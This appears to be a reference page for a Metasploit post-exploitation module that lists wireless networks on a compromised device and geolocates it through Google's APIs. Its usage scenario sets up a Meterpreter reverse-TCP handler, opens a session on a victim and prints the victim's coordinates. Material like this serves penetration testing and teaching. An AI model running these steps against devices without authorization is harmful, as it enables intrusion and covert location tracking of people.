Multiplatform WLAN Enumeration and Geolocation - Metasploit

This page contains detailed information about how to use the post/multi/gather/wlan_geolocate metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Multiplatform WLAN Enumeration and Geolocation
Module: post/multi/gather/wlan_geolocate
Source code: modules/post/multi/gather/wlan_geolocate.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Android, BSD, Linux, OSX, Solaris, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Enumerate wireless networks visible to the target device. Optionally geolocate the target by gathering local wireless networks and performing a lookup against Google APIs.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/wlan_geolocate

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/wlan_geolocate
msf post(wlan_geolocate) > show options
    ... show and set options ...
msf post(wlan_geolocate) > set SESSION session-id
msf post(wlan_geolocate) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/wlan_geolocate")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

SESSION: The session to run this module on.

Knowledge Base

Creating A Testing Environment

For this module to work you need a box with a wireless adapter. The following methods are used to gather wireless information from the host:

Windows: netsh wlan show networks mode=bssid
OSX: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
Linux: iwlist scanning
Solaris: dladm scan-wifi
BSD: dmesg | grep -i wlan | cut -d ':' -f1 | uniq"
Android: WifiManager

If GEOLOCATE is set to true, Google's GeoLocation APIs are utilized. These APIs require a Google API key to use them. The original methodology used by this module in #3280, which didn't require an API key, was found to no longer work in #8928.

Verification Steps

Start msfconsole
Obatin a meterpreter session via whatever method
Do: use post/multi/gather/wlan_geolocate
Do: set session #
Do: set apikey [key]
Do: run

Options

geolocate

A boolean on if wireless information should only be gathered, or the Google geolocate API should be used to geo the victim. Defaults to false

apikey

A string containing the Google provided geolocation api key. REQUIRED if geolocate is set to true. Defaults to empty string

Scenarios

Windows 10

resource (met_rev.rc)> use exploit/multi/handler
resource (met_rev.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (met_rev.rc)> setg lhost 2.2.2.2
lhost => 2.2.2.2
resource (met_rev.rc)> set lport 9876
lport => 9876
resource (met_rev.rc)> setg verbose true
verbose => true
resource (met_rev.rc)> exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 2.2.2.2:9876 
[*] Sending stage (179267 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:9876 -> 1.1.1.1:16111) at 2017-10-01 19:27:15 -0400

resource (met_rev.rc)> use post/multi/gather/wlan_geolocate
resource (met_rev.rc)> set geolocate true
geolocate => true
resource (met_rev.rc)> set session 1
session => 1
resource (met_rev.rc)> set apikey ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
apikey => ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
msf post(wlan_geolocate) > run
[+] Wireless list saved to loot.
[*] Google indicates the device is within 30.0 meters of 30.3861197,-97.7385878.
[*] Google Maps URL:  https://maps.google.com/?q=30.3861197,-97.7385878
[*] Post module execution completed

Go back to menu.

Msfconsole Usage

Here is how the multi/gather/wlan_geolocate post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/wlan_geolocate

msf6 post(multi/gather/wlan_geolocate) > show info

       Name: Multiplatform WLAN Enumeration and Geolocation
     Module: post/multi/gather/wlan_geolocate
   Platform: Android, OSX, Windows, Linux, BSD, Solaris
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  APIKEY                      no        Key for Google APIs if error is received without one.
  GEOLOCATE  false            no        Use Google APIs to geolocate Linux, Windows, and OS X targets.
  SESSION                     yes       The session to run this module on.

Description:
  Enumerate wireless networks visible to the target device. Optionally 
  geolocate the target by gathering local wireless networks and 
  performing a lookup against Google APIs.

Module Options

This is a complete list of options available in the multi/gather/wlan_geolocate post exploitation module:

msf6 post(multi/gather/wlan_geolocate) > show options

Module options (post/multi/gather/wlan_geolocate):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   APIKEY                      no        Key for Google APIs if error is received without one.
   GEOLOCATE  false            no        Use Google APIs to geolocate Linux, Windows, and OS X targets.
   SESSION                     yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the multi/gather/wlan_geolocate post exploitation module:

msf6 post(multi/gather/wlan_geolocate) > show advanced

Module advanced options (post/multi/gather/wlan_geolocate):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the multi/gather/wlan_geolocate module can do:

msf6 post(multi/gather/wlan_geolocate) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the multi/gather/wlan_geolocate post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/wlan_geolocate) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Key for Google APIs if error is received without one.
Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.
Google API key is required.
Error: <E>
Unable to generate wireless listing.
Unable to generate wireless listing.
Unable to generate wireless listing.
Unable to generate wireless listing.
Geolocation is not supported on this platform.nn
Unable to generate wireless listing.
Geolocation is not supported on this platform.nn
Unable to generate wireless listing.
The target's platform, <SESSION.PLATFORM>, is not supported at this time.
The following Error was encountered: <E.CLASS> <E>

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Key for Google APIs if error is received without one.

Here is a relevant code snippet related to the "Key for Google APIs if error is received without one." error message:

23:	    )
24:	
25:	    register_options(
26:	      [
27:	        OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
28:	        OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
29:	      ]
30:	    )
31:	  end
32:	
33:	  def get_strength(quality)

Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.

Here is a relevant code snippet related to the "Unable to enumerate wireless networks from the target. Wireless may not be present or enabled." error message:

83:	    return wlan_list
84:	  end
85:	
86:	  def perform_geolocation(wlan_list)
87:	    if wlan_list.blank?
88:	      print_error('Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.')
89:	      return
90:	    elsif datastore['APIKEY'].empty?
91:	      print_error("Google API key is required.")
92:	      return
93:	    end

Google API key is required.

Here is a relevant code snippet related to the "Google API key is required." error message:

86:	  def perform_geolocation(wlan_list)
87:	    if wlan_list.blank?
88:	      print_error('Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.')
89:	      return
90:	    elsif datastore['APIKEY'].empty?
91:	      print_error("Google API key is required.")
92:	      return
93:	    end
94:	    g = Rex::Google::Geolocation.new
95:	    g.set_api_key(datastore['APIKEY'])
96:	    wlan_list.each do |wlan|